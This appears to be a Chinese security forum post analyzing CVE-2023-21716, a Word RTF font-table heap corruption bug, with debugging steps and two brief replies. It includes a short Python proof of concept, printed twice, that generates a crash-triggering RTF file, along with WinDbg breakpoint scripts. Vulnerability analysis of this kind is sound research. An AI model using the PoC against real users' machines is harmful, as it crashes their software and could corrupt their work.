首页
社区
课程
招聘
[分享] CVE-2023-21716 word漏洞分析
发表于: 2023-4-25 10:56 11345

[分享] CVE-2023-21716 word漏洞分析

2023-4-25 10:56
11345

菜鸡学习分析文章
2月微软补丁日公开的漏洞,后poc与技术细节公开,Microsoft Word 的 RTF 解析器在处理 rtf 文件字体表(\fonttbl)中包含的过多字体(\fN)时产生的堆损坏漏洞,poc可造成word进程崩溃,预览模式下也受影响
本文使用Office 2016 32位进行分析
poc

打开poc生成的rtf文件,触发崩溃
图片描述
栈回溯如下
图片描述
对开启页堆,需安装wdk

或在\Windows Kits\10\Debuggers\x86\gflags.exe下
图片描述
使用windbg进行分析
图片描述
图片描述
程序崩溃在6d3900d5,计算偏移
图片描述
6d3900d5 - 6d0a0000 = 2F 00D5
在ida中定位到2F 00D5
图片描述
wwlib在处理/fN时存在整数溢出
由于此处指令使用了movsx,当[esi+2]的值达到0x8000时,会进行有符号扩展,edx的高位会被扩展成FFFF,poc中的32760(0x7FF8)是触发漏洞的最小值,range(0, 32761)生成了32761组\f ,当第32761次处理\f时,edx的值为0x8002 ,但因其最高位为 1进行有符号扩展,变为0xffff8002。导致在后面的指令mov [esi+edx*2+4], cx处写入时使用了负的偏移值,造成程序崩溃。
图片描述
在2F00A8,2F00CB,2F00CF ,2F00D5 处下断点观察

图片描述
参考链接:
https://qoop.org/publications/cve-2023-21716-rtf-fonttbl.md
https://www.anquanke.com/post/id/287370

import sys
open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
import sys
open("t3zt.rtf","wb").write(("{\\rtf1{\n{\\fonttbl" + "".join([ ("{\\f%dA;}\n" % i) for i in range(0,32761) ]) + "}\n{\\rtlch no crash??}\n}}\n").encode('utf-8'))
gflags.exe /p /enable winword.exe /full
gflags.exe /p /enable winword.exe /full
bp wwlib+2F00A8 ".printf \" Cum: %p Font id: %p Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", eax,ecx,(esi+eax*2+4),esi,eax; gc"
 
bp wwlib+2F00CB ".printf \" Base: %p \\n \", poi(esi+2); gc"
 
bp wwlib+2F00CF ".printf \" Edx: %p from 0x%x + 0x%x*2\\n \", (ecx + edx*2),ecx,edx; gc"
 
bp wwlib+2F00D5 ".printf \" Target addr: %p from 0x%x + 0x%x*2 + 4\\n \", (esi+edx*2+4),esi,edx; gc"

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 15565
活跃值: (16922)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
2
栈回溯那里有点小问题
2023-4-25 17:40
0
雪    币: 273
活跃值: (6751)
能力值: ( LV7,RANK:105 )
在线值:
发帖
回帖
粉丝
3
有毒 栈回溯那里有点小问题
大佬细说哈呗,菜鸡没看出来
2023-4-26 10:37
0
游客
登录 | 注册 方可回帖
返回
//